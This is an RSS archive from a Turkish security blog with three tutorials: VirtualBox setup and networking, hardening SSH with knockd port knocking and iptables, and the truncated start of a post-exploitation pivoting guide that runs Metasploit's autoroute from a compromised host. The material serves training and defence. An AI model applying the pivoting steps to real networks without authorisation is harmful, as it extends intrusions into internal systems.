how to arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:51:20 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png how to arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | VirtualBox Nasıl Kurulur ve Kullanılır? https://canyoupwn.me/tr-virtualbox-nasil-kurulur-kullanilir/ https://canyoupwn.me/tr-virtualbox-nasil-kurulur-kullanilir/#respond Sat, 18 Jun 2016 22:14:44 +0000 https://canyoupwn.me/?p=2790 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sanal Makine(Virtual Machine) nedir? Bilgisayar biliminde, Sanal makine programları gerçek bir bilgisayar sistemindeki gibi çalıştıran mekanizmaların yazılım uyarlamasıdır. Sanal Makine, işletim sistemi ile bilgisayar platformu arasında bir sanal ortam yaratır ve bu sanal ortam üzerinde yazılımların çalıştırabilmesine olanak sağlar. (Vikipedi) Peki neden sanal makina tercih etmeliyiz?  Sanal makinalerde yapacağımız testler sonucu oluşabilecek hasarlar gerçek işletim […]

TR | VirtualBox Nasıl Kurulur ve Kullanılır? Mert Gücü

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sanal Makine(Virtual Machine) nedir?

Bilgisayar biliminde, Sanal makine programları gerçek bir bilgisayar sistemindeki gibi çalıştıran mekanizmaların yazılım uyarlamasıdır. Sanal Makine, işletim sistemi ile bilgisayar platformu arasında bir sanal ortam yaratır ve bu sanal ortam üzerinde yazılımların çalıştırabilmesine olanak sağlar. (Vikipedi)

Peki neden sanal makina tercih etmeliyiz?  Sanal makinalerde yapacağımız testler sonucu oluşabilecek hasarlar gerçek işletim sistemimizi etkilemez ve sanal makinamızda birazdanda değineceğim Snapshoot işlemini gerçekleştirirsek kolayca ve hızlıca eskiye dönme imkanı sunar. Bunun yanı sıra güvenlik testleri için bize etik bir ortam sağlar.

Bende bu yazımda sizlere Sanal Makina seçeneklerinden birisi olan ve tamamen ücretsiz olan VM VirtualBox’ın kurulumunu ve konfigürasyonunu ve iki makina arasındaki iletişimi anlatacağım.

VM_01

 

www.virtualbox.org/wiki/Download adresinden VirtualBox’ımızı indirebiliriz. Bize OS X, Windows, Linux, Solaris gibi işletim sistemlerinde kurulum imkanı sunmaktadır. Bu yazıda Windows üzerine kurulumunu ele alacağım. Ekranda gördüğünüz amd64, amd’nin isim hakkını almasından kaynaklıdır.

İndirdiğimiz dosyayı çalıştırdığımızda bizi yükleme ekranı karşılamaktadır.

VM_02

Next butonu ile bir sonraki adıma geçiyoruz.

VM_03

Bu bölümde VM ile birlikte kurulacak eklentiler ve kurulumun gerçekleşeceği path gözükmektedir. Dilersek bunlar üzerinde değişiklik yapabiliriz. Default olarak kalması önerilir.

VM_04

Install butonu ile kurulumu başlatabiliriz.

VM_07

Kurulum esnasında bizden kurulum için ihtiyaç duyduğu bazı eklentileri kurmak için izin isteyecektir. Yükle butonu ile bunları yüklemeliyiz.

VM_08

Kurulum tamamlamıştır. Start Oracle VM VirtualBox 5.0.20 after installation box’ını seçtiğimiz taktirde VM’i otomatik olarak başlatacaktır.

VM_09

VirtualBox’ın kurulum ve kullanım ekranı yukarıda görüldüğü gibidir. Şimdi detaylı şekilde her bölümü ele alalım.

File butonu altındaki seçeneklerimizi gözden geçirelim.

VM_10_0

Preferences.. butonuna tıkladığımızda bizi genel ayarlamaları yapabileceğimiz ve VM üzerindeki bütün başlangıç ayarlarını etkileyecek ayar ekranı gelmektedir.

 

General sekmesinde kurulacak olan sanal makinenin dosyalarının hangi dizin altında saklanacağını ayarlayabiliriz.

VM_10

Input sekmesinde VM üzerinde kullanabileceğimiz kısayol tuşları yer almaktadır. Dilersek bu tuşları kendi tercihimize göre ayarlayabiliriz.

VM_11

Update sekmesinden VM’i update edebiliriz.

Langueage sekmesinde VM’in dil ayarlarını değiştirme olanağımız vardır. Burada dikkat edilmesi gereken bir husus, bu dil ayarının VirtualBox’ın içine kurduğumuz sanal makinaların değilde VirtualBox’ın şu an ki mevcut arayüzünün dil ayarları olduğudur.

VM_13

Display sekmesinde VM arayüzümüzün ekran ayarlarını ayarlayabiliriz.

VM_14

Network bu menüler arasında bizi ilgilendirebilecek en önemli menüdür. Bu menüde kurulacak sanal makinenin NAT ve ya Ağ bağdaştırıcı ayarlarını ayarlayabiliriz. Biz DHCP ile IP ağacı atadığımızda bizim girdiğimiz değerler üzerinden atama yapacaktır. Bu bölümde en düşük ve en yüksek IP aralığını berlileyip, IP dağıtımını buna göre yapabiliriz.

VM_15

Proxy menüsünde proxy ayarlarını yapıp bu ayarlar dahilinde erişim sağlama olanağımız var.

VM_16

File menüsü altındaki bir sonraki butonumuzu inceleyelim.

VM_17_01

Import Appliance.. butonun tıkladığımızda daha önceden kurulmuş ve imajı alınmış bir sistemi Virtual Machine içine dahil etmemize yarar. Bir sonraki adımda göstereceğim imaj alma işlemi sonucu (.ova, .ovf) uzantılı bir sanal makine imajı oluşur. Kevgir bunlara örnektir ve bu yazımdada örnek olarak Kevgiri kullandım.

VM_92

Klasör butonuna tıkladığımızda bizden imajımı seçmemizi isteyecektir.

VM_91

İmajımızı seçtiğimizde VM içine sistemi import edecektir.

Bir diğer seçenekte imajın üzerine çift tıklamaktır. Bu şekilde de imajı VM içerisine import edecektir.

VM_36

VM_37

Daha önceden elimizde olan bir imajı VM içerisine kurmayı öğrendik. Peki biz nasıl VM içerinde kurulan bir sistemin imajını alabiliriz?

Burada devreye yine File menüsü altında bulunan Export Appliance.. butonu devreye giriyor.

VM_18_01

Tıkladığımızda bize VM üzerinde kurulu sanal makinelerin listesini getirecektir. İmajını almak istediğimiz makineyi seçiyoruz ve Next butona basıyoruz.

VM_93

İmajın yazdırılacağı path’i belirtiyoruz.

VM_94

Son olarak isim veya girmek isediğimiz bilgiler varsa bunları yazıyoruz ve Export butonuna basıyoruz.

VM_95

File menüsü altında bulunan ve anlatımımızda son olarak yer alan bir başka menüde Virtual Media Manager butonudur.

VM_18_02

Bu menü ile VM üzerindeki sistemlerin disk boyunu gözlemleyebilir ve üstünde değişiklikler yapabiliriz.

VM_18

VirtualBox arayüzündeki genel işlevi öğrendiğimize göre artık bir sanal sistem kurabiliriz. VirtualBox arayüzünde bulunan New butonuna basıyoruz.

VM_19_01

Karşımıza gelen ekranda Sanal Makinamızın ismini, işletim sistemi türünü ve sistemin türünü seçiyoruz. Burada doğru versiyon ve işletim sistemini seçmek 3rd Part kurulumlar için önemlidir.

VM_19

Bir sonraki adımda sistemin kullanacağı RAM boyutunu belirliyoruz. Açılacak sanal makine sayısı ve kendi yerel işletim sisteminizin gereksinimlerine göre ayarlamak son derece önemlidir.VM_20

Bir sonraki adımda Hard Disk ayarlarını yapıyoruz. Burada üç seçenek karşımızı gelmektedir.

En üstteki seçenek bir hard disk tanımlamayacağımızı belirten seçenektir. Ortadaki seçenek bir adet sanal disk oluşturacağımızı belirtir. Bu sanal disk bizim gerçek sistemimizdeki depo alanından kullanacaktır. Biz bu seçeneği seçeceğiz. En alttaki seçenek ise harici bir disk tanımlamamıza olanak sağlar. Fiziksel bir diskimiz var ise ve bunun bağlantısını yaparsak depo olarak onu kullanmamıza olanak sağlar.

VM_21

Bir sonraki adımda diskimizin dinamik bir boyutta mı yoksa sabit bir boyuttamı olacağının kararını vereceğimiz adımdır. Buradaki fark, sabit boyutu seçersek ilerleyen zamanlarda disk boyunta her hangi bir genişletme işlemi yapamayız. Fakat dinamik boyunu seçersek diskimiz bittikçe kendini genişletecektir ve ya kendimiz disk boyutunu genişletebiliriz. Biz bu anlatımımızda dinamik boyunu seçeceğiz.

VM_23

Sonraki adımda Sanal Makinamıza vereceğimiz disk boyutunu belirliyoruz. Kurulumlar için minimum 20 GB öneririm fakat bu boyut sadece kurulum için yeterli olacaktır.

VM_24

Create butonu ile sanal makinamızın taslağını oluşturduk. Fakat içerisine henüz bir kurulum dosyası atamadık. Birde sanal makinanın genel içerik ayarlarını adım adım inceleyelim.

Sanal makinamızın üzerine tıklıyoruz ve VirtualBox arayüz ekranında Setting butonuna basıp ayarlar menüsüne giriyoruz.

VM_96

Karşımıza tekrar General menüsü gelmektedir. Bu menüde karşımıza daha öncesinde belirttiğimiz sistemimizin adı, versiyonu ve işletim sistemi gelmektedir.

VM_26

Bir yan sekmesi olan Advance menüsünde Snapshots aldığımızda bu snap’in hangi dosyaya kaydolacağının path’ini ayarlayabiliriz.

VM_27

System menüsünde daha öncesinden belirlediğimiz RAM boyutunu tekrardan ayarlayabiliriz. Burda dikkat etmemiz gereken husus bu ayarlamaları yaptığımız sırada ilgili makinamızın kapalı olmasıdır.

Boot Order menüsünden açılış sırasında öncelikli olarak nelerin çalıştırılacağını ayarlayabiliriz.

VM_28

Yan sekmesi olan Processor menüsünden kullanılacak olan CPU adedini ve performas yüzdesini ayarlayabiliriz.

VM_29

Display menüsü daha önce Preferences menüsünde gördüğümüz display seçeneğinden farklıdır. Buradaki Display seçeneği tamamiyle üzerinde ayar yaptığımız sistemimizi etkilemektedir. Video Memory seçeneği ile ekran kartı boyutunu seçebiliriz. Kullanılacak ekran miktarını ve 2D, 3D gibi kolerasyon ayarlarını yapabiliriz.

VM_30

Buraya kadar herşeyi yaptık fakat henüz bir işletim sistemi kurulumu için bir kurulum cd’si(iso) belirtmedik.

VM_31

Kırımızı kutu içerisindeki CD resmine basıyoruz ve kurulumuna yapacağımız işletim sisteminin iso dosyasını seçiyoruz. Eğer bunun seçimini yapmaz isek ve sanal makinamızı çalıştırırsak aşağıdaki gibi bir hata ile karşılaşabiliriz.

VM_97

Eğer böyle bir hata alıyorsak ilk aklımıza gelmesi gereken şey kurulum için bir iso dosyası tanımlamadığımız olmalıdır.

Bir sonraki menümüz Audio menüsüdür. Bu menüde Sanal Makina üzerindeki ses cihazı tanımalarını yapabiliriz.

VM_32

Network menüsü en çok kullanacağımız menülerden birisidir. Bize bir çok network seçeneği sunar. Sanal Makinalarda yaptığımız testlerde bu ayarlamalar oldukça önem taşır. Tek tek hepsini ele alacak olursak,

VM_33

NAT: VM kendi içerisinde bir ağ (sanal switch) oluşturur ve bu sanal switch üzerinden modeme erişim sağlar. Bu işlem sırasında NAT networka bağlı cihazlar kendi IP bloklarından IP değeri alırlar. Sistemde NAT seçili olduğu taktirde NAT ağda olmayan diğer sanal makinalarla ve ana makinayla iletişim sağlayamazlar. Aynı zamanda NAT ağa bağlı bir sanal makina internete bağlı durumda ise dış networka çıkış yapabilir.

VM_38

ifconfig komutu ile IP adresini incelediğimizde 10.0.2.15 IP adresini aldığımızı göreceğiz. Oysaki ana işletim sistemimiz 192.168.0.13 IP adresine sahip. Sanal Makinamızı pinglemeye çalıştığımızda başarılı olamadığımızı göreceğiz.

1__bash_and_Virtual_Machine_Library

Sanal Makinamız üzerinden dış network olan Google pinglediğimizde başarıyla dış networka çıktığımızı gözlemliyoruz.

Dikkat etmemiz gereken bir konu ise, iki farklı bilgisayarda ve ya iki farklı Virtual Machine’de çalıştırılan (Örn VirtualBox ve Vmware) ve NAT ağına alınmış iki sistem birbiriyle iletişim kuramazlar.

VM_99

Bridge Adapter: Bridge adapther ile köprü bir bağ kurmuş oluruz. Yani asıl bilgisayarımızın ağına dahil olmuş oluruz ve 192.168.0.* üzerinden bir IP değeri alırız. Buda sanal makinamızdan, asıl makinamızı pingleyebileceğimiz yani iletişim kurabileceğimiz anlamına gelir. Bunun yanı sıra dış ağada bağlanabiliriz.

Bir diğer bilmemiz gereken şey  NAT’ın aksine Bridge Networka ayarlanmış bir VM, başka bilgisayarlardaki VM’lerle yada gerçek sistemlerle iletşim kurabildiğidir. Bunun sebebide direk olarak Modemin arayüzüne bağlanmasıdır.

Alttaki resimde görüldüğü üzere A bilgisayarımda açık olan Linux işletim sistemimin IP adresi 192.168.0.15’tir.

VM_02

A bilgisayarımda açtığım sanal makina üzerinde açık olan Windows XP işletim sistemimin IP adresi ise 192.168.0.18’dir.

VM_01

Linux sistemden, Windows sistemi pinglediğim zaman paket gönderebildiğimi yani iletişim kurabildiğimi gözlemleyeceksiniz

VM_03

B bilgisayarımdan ise A bilgisayarımdaki Windows sistemi pinglediğimde yine paket gönderebildiğimi yani iletişim kurabildiğimi görüyorsunuz.

2

Host Only Adapter : Host only adapter seçeneği ise özel bir ağ gibi davranır. NAT Networktan farkı ise aynı ağda olduğu sürece fiziksel makinalarlada iletişime geçebileceği ve dış ağa bağlanamayacağıdır. Örnek olarak proxyi ayarı yapılarak farklı bir networka taşınabilir ve bu network içerisindeki diğer fiziksel cihazarla iletişim kurabilir.

 

USB menüsünde ise sanal makinamız için USB cihazlar tanımlamamıza yarayan menüdür.

VM_34

 

Shared Folder menüsünde fiziksel makinamız ve ya içinde bulunduğumuz ağ için ortak paylaşım klasörü oluşturmamıza olanak sağlayan menüdür.

VM_35

Bütün bu ayarları yaptığımıza göre artık sanal makinamızı çalıştırabiliriz.

Start butona bastığımızda sanal makinamız kendini açacaktır.

VM_38

Son olarak önereceğim bir diğer husus makinazı kurduktan sonra Snapshot almanızdır. Böylelikle testlerde yada normal kullanım zamanlarınızda olası çökmelere ve arızalara önlem almış olursunuz. Hızlı ve kolay şekilde geri yükleme imkanı sunar ve snap aldığınız zamandaki verilerinizi saklamış olursunuz.

Snap almak için Virtual Machine arayüzündeki Snapshots butonuna tıklıyoruz ve kırmızı kare içerisinde görünen küçük fotoğraf makinası butonuna tıklıyoruz. Aynı zamanda Ctrl + Shift + S kısa yolu ilede snap almamız mümkündür.

VM_39

VM_40

Snapshotımızı oluşturduk.

VM_41

Peki sistemimiz bozulduğunda snap’i nasıl etkinleştirebilirim? Gayet basit. Yukarıdaki ekranda Snapshot 1 (Bu bizim verdiğimiz isim) tıkladığımızda 3 adet buton aktif hale gelecektir.

VM_42

Kırmızı kutu ile seçili olan buton sistemimizi eski haline getirecektir. Ortadaki buton daha önce aldığımıs Snapshotları silmemize olanak sağlar ve onun sağındaki buton ise makina ve snap hakkında detaylara ulaşmamıza olanak sağlar. Son olarak koyun simgeli buton ise makinamızın klonunu alıp kendi bu sistemin bu şekilde kalmasına olanak sağlar.

Yazımı bitirmeden VirtualBox’ın bir güzel özelliğinden bahsetmek istiyorum. VirtualBox’ın ara yüzü diğer diğer işletim sistemlerindede aynıdır dolayısıyla kullanımı kolaydır. Bir sonraki konum olan Vmwarede göreceğimiz bir konu, farklı işletim sistemleri ve farklı versiyonlarda farklı ara yüze sahip olması Vmware biraz daha karmaşık hale getirmektedir.

Bir sonraki yazımda görüşme dileğiyle..

 

 

 

 

TR | VirtualBox Nasıl Kurulur ve Kullanılır? Mert Gücü

]]>
https://canyoupwn.me/tr-virtualbox-nasil-kurulur-kullanilir/feed/ 0
TR | Port Knocking https://canyoupwn.me/tr-port-knocking/ https://canyoupwn.me/tr-port-knocking/#respond Tue, 17 May 2016 21:15:52 +0000 https://canyoupwn.me/?p=2263 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sunucular, tanımı gereği, hizmet veren ve kullanıcılara uygulamaları ve kaynaklar erişilebilir kılma aracı olarak kullanılmaktadır. Ancak, internete bağlı herhangi bir bilgisayar kaçınılmaz bir şekilde kötü niyetli kullanıcılar ve güvenlik açıklarından yararlanmak için bekleyen komut dosyaları tarafından hedeflenmektedir. Sunucular kullandığı çeşitli geliştirme ortamları gereğince birden fazla servis hizmeti sunmaktadır. E-posta gönderme servisi, SSH ( İki bilgisayar […]

TR | Port Knocking Çağatay ÇALI

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sunucular, tanımı gereği, hizmet veren ve kullanıcılara uygulamaları ve kaynaklar erişilebilir kılma aracı olarak kullanılmaktadır. Ancak, internete bağlı herhangi bir bilgisayar kaçınılmaz bir şekilde kötü niyetli kullanıcılar ve güvenlik açıklarından yararlanmak için bekleyen komut dosyaları tarafından hedeflenmektedir. Sunucular kullandığı çeşitli geliştirme ortamları gereğince birden fazla servis hizmeti sunmaktadır. E-posta gönderme servisi, SSH ( İki bilgisayar arasındaki güvenli iletişim protokolü – Secure Shell ), web sunucusu ( Apache – Nginx – LiteSpeed vb ), SSL ( Güvenli erişim protokü – https – Secure Socket Layer ). Bu servisler sunucumuzun temel işlevlerini yerine getirmesine yarar.
Güvenlik duvarları erişimi kontrol altında tutmaya yarar, sunucumuzda güvenlik duvarının yaptığı temel işlev budur. Evimizin çelik kapısı gibi düşünebiliriz. Kötü niyetli insanlar kapınızın çelik olduğunu gördüğünde diğer giriş yerlerini test edeceklerdir. Bu ev örneğinde diğer giriş yerleri, pencerelerimiz, balkonlarımız ve çatı girişimizdir.
Sunucularda ise diğer giriş kapılarımız, sunucudaki yazılımı güncellerken, kodumuzu yüklerken ve yine aynı kodumuzu güncellerken kullandığımız diğer servislerdir. Bunlara örnek FTP ( File Transfer Protocol ), SFTP ( Secure File Transfer Protocol ), SSH ( Secure Shell ), telnet ( * ) örnek olarak verilebilir. Sunucumuza eğer fiziksel erişim imkanımız var ise bu servisleri kullanmadığımızda kapatmamız, sadece kullanacağımız zaman açık konuma getirmemiz olası bir saldırı girişiminde kötü niyetli insanlara daha az saldıracak ortam/yol yaratmış olacaktır.
Sunucumuza fiziksel erişimimiz yoksa port knocking ( Port yoklama ) yöntemi ile belirli bir dizi istek sonrasında sunucumuz log kayıtlarını anlamlandırıp kullanmak istediğimiz servisi aktif hale getirecektir.
Yazımın devamında Ubuntu 14.04 dağıtımına sahip bir sunucu üzerine knockd paketini kullanarak ssh hizmetini durdurmadan nasıl gizleyebileceğimizi göstereceğim.

Not: Aşağıda kullanacağım araç ve gereç IPv4 için tasarlanmış olup, IPv6’da geçerliliğini yitirecektir, örneğin,” iptables ” sadece IPv4 adresleri için güvenlik duvarı kuralları korur ancak IPv6 ağ adresleri için güvenlik duvarı kurallarını korumak için kullanılabilecek ” ip6tables ” olarak adlandırılan bir IPv6 muadili vardır. Makale içerisinde port yoklaması terimi yerine ingilizce karşılığı olan port knocking’i kullanacağım.

Port Knocking Nasıl Çalışır?

Saldırganların direkt olarak hedefine koyduğu servislerin aktif halde olmaması esasını benimser. Servisler bir dizi alakasız servise gönderilen paketlerin log dosyalarının takibinden sonra aktif hale gelir. Aktiflik süresini ve/veya istekler arasındaki saniye farklarına göre servisi açmak sizin seçiminize sunulmuştur.

Port knocking’i HTTP servisleri için kullanmak yerinde olmayacaktır. Bu kurguyu SSH, FTP, SFTP gibi daha yetkili servislerde kullanmak daha yerinde bir harekettir.

Örnek olarak; SSH servisinizin kullanıcı adı şifre ikilisi ile giriş yapmasının bir güvenlik tavizi olarak görüldüğünü düşünüyoruz, bu yöntem yerine .pem uzantılı anahtarlar kullanarak sisteme girişi sağlıyoruz. Bu hizmeti direkt olarak kullanıcıların istek gönderebileceği bir katmandan sağlıyoruz. Fakat port knocking kullanırsak direkt olarak istek gönderemeyecekleri için sistemimizin bel kemiği olan servisleri daha karmaşık bir algoritma dahilinde gizlemiş bulunabiliriz.

Sisteminizde port taraması yapan, kötü niyetli birini yıldıracak veya yakalatacak bir yöntem olarak görünebilir. Tarama sonuçlarında açık servis göremeyen kötü niyetli kişi eli kolu bağlı bir şekilde başka bir giriş aramaya veya daha farklı bir şekilde bilgilerinizi ele geçirmeye çalışacaktır.

Trafiğimizi IPTables Kuralları ile Sınırlandıralım

Port knocking hizmetini yapılandırmadan önce IPTables kurallarını oluşturalım. Ubuntu 14.04’de IPTables kurulu olarak gelecektir. Sunucumuzun tüm isteklere yanıt verebileceği şekilde ayarlamalar yapmamız, port knocking hizmeti için log toplama ortamı yaracaktır.

Terminal :

sudo iptables -A INPUT -i lo -j ACCEPT

1

Yukarıda yer alan kural tüm giriş isteklerine yanıt vermek üzere sunucumuzu ayarlayacaktır.

Terminal :

sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

2

Yukarıda yer alan kural kurulmuş bağlantıların sonlandırılmaması için gereklidir, örnek verecek olursak ssh servisine port knocking sonrasında bağlı olduğumuz süre boyunca kullanmadığımız zaman otomatik olarak sistemden düşerken bu port knocking ile giriş yapıldığında düşmemelidir çünkü tekrardan port’ların tetiklenmesi gereklidir.

Herkes için görünür kabul edilen servislerimize izin vermeliyiz, web sunucusu olarak yayın yapan servisler 80 portundan yayın yaparlar. İlgili porta izin verelim.

Terminal :

sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

3

Bu kuralımızdan sonra diğer tüm bağlantılara izin vermediğimizi IPTables kurallarına eklemeliyiz.

Terminal :

sudo iptables -A INPUT -j DROP

4

Gelecek tüm diğer bağlantı isteklerini düşürecektir.

Halihazırda kurmuş olduğumuz ayarları görüntüleyelim:

Terminal :

[code lang=”js”]sudo iptables -S[/code]

5

Şuanda sunucumuzda görüldüğü üzere SSH servisine erişimimiz mevcut değil, eğer sunucu ile aramızda fiziksel bir erişim yok ise erişimi servis sağlayıcılar üzerindeki yönetim panelinden sağlayabiliriz.

Hazırladığımız IPTables kurallarını kalıcı hale getirmek için ilgili paketi işletim sistemimize kuralım.

Terminal:

sudo apt-get install iptables-persistent

6

Yukarıdaki komutu çalıştırdığımızda ekranımıza aşağıdaki görseldeki gibi bir seçim ekranı gelecektir.

7

Boşluk ( Space ) tuşu aracılığı ile onaylayabilirsiniz, kuralların kaydedilmesini isteyip her sunucu tekrar açıldığında yürürlüğe girmesini isteyip istemediğinizi soruyor. Boşluk tuşuna bir kez daha basmanızı isteyecektir. Sonuç aşağıdaki ile benzer olacaktır.

8

 

Sonrasında yüklediğimiz hizmeti başlatalım.

Terminal :

sudo service iptables-persistent start

9

Knockd Hizmetinin Kurulması

Terminal :

sudo apt-get install knockd

10

Knockd servisini sistemimize kurdu fakat henüz servisi açmadık, kurulum sonunda servisi açık hale getireceğiz. ( vi /etc/default/knockd )

Knockd Hizmetinin Ayarlanması

Terminal :

sudo nano /etc/knockd.conf

11

Terminal komutunu girdiğimizde yukarıdakine benzer bir kod bloğu bizi karşılıyor. Options ( Seçenekler ) bölümünde UseSyslog parametresini görmektesiniz, bu koşul knockd hizmetinin logları sistemdeki loglardan okuyacağını söyler. Eğer okunacak logların yolunu değiştirmek isterseniz “UseSyslog” yerine aşağıdaki komutu girmelisiniz.

LogFile = /path/to/log/file

Seçenekler’in altındaki SSH servisini açma ve kapama istek desenlerini görmekteyiz.Orada yazan parametrelerin türkçe karşılıklarını ve açıklamalarını açıklamak istiyorum:

sequence : sıra, dizi – İsteklerimizin hangi portlara sıra sıra geleceğini belirtir

seq_timeout: Her bir istek arasında kaç saniye süre içersinde bitmesi gerektiğini belirtir.

command: Arkada saklamaya çalıştığımız servisi tekrar açacak komut dizisidir.

tcpflags : tcp isteklerimizin hangi bayrağa sahip olması gerektiğini bildirir.

Eğer yukarıdaki kurallara uygun bir şekilde istekleri yapabilirseniz sunucunuzda kapalı olan ssh servisi açılmış durumda olacaktır. Makalemizin başında belirttiğimiz -A IPtables kuralına dikkati çekmek isterim, bu parametre isteklerimizin hepsini düşürüyor durumdadır, bu problemi çözmek için openSSH parametremizin başına 1 koyarak tekrardan düzenliyoruz ve bu sayede sadece o isteği yapan istek sahibinde izin vermiş olacağız.

command = /sbin/iptables -I INPUT 1 -s %IP% -p tcp --dport 22 -j ACCEPT

12

Yukarıda belirttiğimiz özelliklerin benzerleri aşağıdaki özellikler için geçerlidir ve ssh servisini kapalı duruma getirecektir.

Şuanda kurulumumuz tamamlandı, desenleri kendinize göre özelleştirebilir ve kullanabilirsiniz.Kurulum tamamlanmakla beraber henüz knockd servisimiz aktif durumda değildir. Kurulum başında not olarak bıraktığım dizine editor ile giriş yapıp hizmeti aktif hale getireceğiz.

Terminal :

sudo vi /etc/default/knockd

13

Yukarıda görüldüğü üzere START_KNOCKD=0 olan parametreyi START_KNOCKD=1 ile değiştirdik. Kaydedip çıktıktan sonra hizmetimizi yeniden başlatalım.

Terminal :

sudo service knockd start

Eğer servis başlatılırken benzer bir ekran ile karşılaşıyorsanız:

14

Çözümü :

Terminal :

ip a l</pre>
<img class="alignnone size-full wp-image-2284" src="https://canyoupwn.me/wp-content/uploads/2016/05/15.png" alt="15" width="1210" height="514" data-mce-src="https://canyoupwn.me/wp-content/uploads/2016/05/15.png">



Yukarıdaki resimden anlaşılan üzere sunucumuz eth1 üzerinden yayın yapıyor.

Terminal :
<pre>[code lang="js"][/code]vi /etc/default/knockd

Yukarıdaki terminal komutunu çalıştırdıktan sonra ilgili kısmın önündeki yorum satırını kaldırıp hizmeti tekrar başlatmayı deneyelim.

16

Terminal :

sudo service knockd reload

17

Knockd hizmeti IPTables kurallarını güncellemek üzere çalışmaya başladı.

Port Knocking’i Test Edelim

Port knocking’i kullanmak için çeşitli araçlar kullanabilirsiniz bunlara örnek olarak; netcat, nmap verilebilir fakat sadece knock için tasarlanmış olan bir arabirim kullanabilirsiniz, adı knock. Fakat ben örneğimde linux ve MAC OS X üzerinde direkt terminal aracılığı ile kullanılabilecek nmap aracını kullanacağım.

Terminal :

ssh root@server_ip_adresi

İlgili servise bağlanma talebinde bulunduğumuzda bizi epey bir bekletecek ve sonrasında Timeout hatası verecektir.

sh: connect to host server_ip_address port 22: Operation timed out

18

SSH servisimiz kapalı durumda. Sunucu üzerindeki açık portları görüntülemeye çalışalım;

19

Nmap taramamıza göre sadece http servisimiz açık konumda.

Port knocking işlemine geçelim:

Terminal :

for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done

Yukarıdaki bash scripti terminalimize işliyoruz.

20

 

Ardından ssh bağlantımızı gerçekleştirmeye çalışıyoruz.

Terminal :

ssh root@server_ip_adresi

 

SSH servisinizin açık olduğunu göreceksiniz.

SSH erişimini tekrardan gizli hale getirmek için:

Terminal :

for x in 9000 8000 7000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done

Knock Arabirimi ile Port Knocking

Knock arabirimini kullanarak basit bir şekilde portları yoklayabilirsiniz. Knock arabirimini kurmak üzere linux dağıtımlarından olan Kali Linux dağıtımı üzerinden anlatıma devam ediyorum.

Terminal :

sudo apt-get install knockd

Kullanımı:

knock server_ip_address sequence

Örnek kullanım, servisi açmak için :

knock 104.131.28.251 7000 8000 9000

Örnek kullanım, servisi kapatmak için :

knock 104.131.28.251 9000 8000 7000

 

Knockd Hizmetini Kullanım Sonrasında Otomatik Kapatmaya Ayarlamak

Kullanımlarımızdan sonra hizmeti kapatmayı unutma ihtimaline karşı otomatik kapatmaya ayarlayabilirsiniz.

Terminal :

sudo vi /etc/knockd.conf

21

Yukarıda görüldüğü üzere cmd_timeouti start/stop_command’lar eklenmiş durumda. Bu komutları sırasıyla açıklamak istiyorum:

cmd_timeout : Terminal erişimi kapatıldıktan 10 sn sonra stop command’ı yani durdurma komutunu yürürlüğe sokacaktır. Start_command ise gelen isteklerin ardından çalışacak komuttur. Dikkatinizi knock edilecek yani istek yapılacak portların sayısının arttığına ve seq_timeout’un 10 saniye arttığına çekmek istiyorum. Bu tamamiyle isteklerin kararlılığındaki bütünlüğü sağlamak amaçlıdır.

Servisimizi yeniden başlatalım.

Terminal :

sudo service knockd restart

Sunucumuzun ilgili portlarını yoklayalım.

Terminal :

knock server_ip_address 7000 8000 9000 1000 && ssh root@server_ip_adresi

Sunucumuzda çalışan firewall servisi kullanım sonrasında 10 saniye bekleyip SSH servisini durdurmak üzere beklemektedir.

Sonuç Olarak

Servis gizleme hizmeti kullanmak, yurt içinden ve/veya yurt dışından gelecek rasgele port tarama ve kötü amaçlı kod parçalarını çalıştırma girişiminde bulunan kişilerin/kodların çalışacak ortam bulamamasına, evimizin camlarını görememesinde etkili olacaktır.

Bu tip bir hizmeti yapılandırmak sunucumuzun güvenlik seviyesine yeni bir katman ekleyecektir, hiç bir zaman güvenli bir sistem yoktur fakat denemekten sıkılan bir hacker olabilir.

TR | Port Knocking Çağatay ÇALI

]]>
https://canyoupwn.me/tr-port-knocking/feed/ 0
TR | How to Pivoting & Portfwd https://canyoupwn.me/how-to-pivoting-port-forwarding/ https://canyoupwn.me/how-to-pivoting-port-forwarding/#respond Mon, 25 Apr 2016 01:23:21 +0000 https://canyoupwn.me/?p=1153 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda Pivoting ve Port Yönlendirme konularını uygulamalı olarak anlatılacaktır. Bu senaryoda zafiyetli bir bilgisayar ele geçirilmiştir ve post exploit sırasında bizim erişemediğimiz farklı bir subnete daha erişebildiği anlaşılmıştır. Ekran görüntüsünde ele geçirilen makinanın farklı bir subnet de “192.168.56.101” IP adresine sahip olduğunu görüyoruz. Şuan da bu IP aralığına bizim erişimimiz yok, peki o makinaya […]

TR | How to Pivoting & Portfwd Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda Pivoting ve Port Yönlendirme konularını uygulamalı olarak anlatılacaktır.

Bu senaryoda zafiyetli bir bilgisayar ele geçirilmiştir ve post exploit sırasında bizim erişemediğimiz farklı bir subnete daha erişebildiği anlaşılmıştır.

pivoting-ifconfig

Ekran görüntüsünde ele geçirilen makinanın farklı bir subnet de “192.168.56.101” IP adresine sahip olduğunu görüyoruz. Şuan da bu IP aralığına bizim erişimimiz yok, peki o makinaya nasıl erişebileceğiz ?

Pivoting

İlk önce Metasploit’in “autoroute” post modülünü kullanarak iki subnet arasındaki iletişimi sağlıyoruz.

run autoroute -s [subnet]

pivoting-autoroute

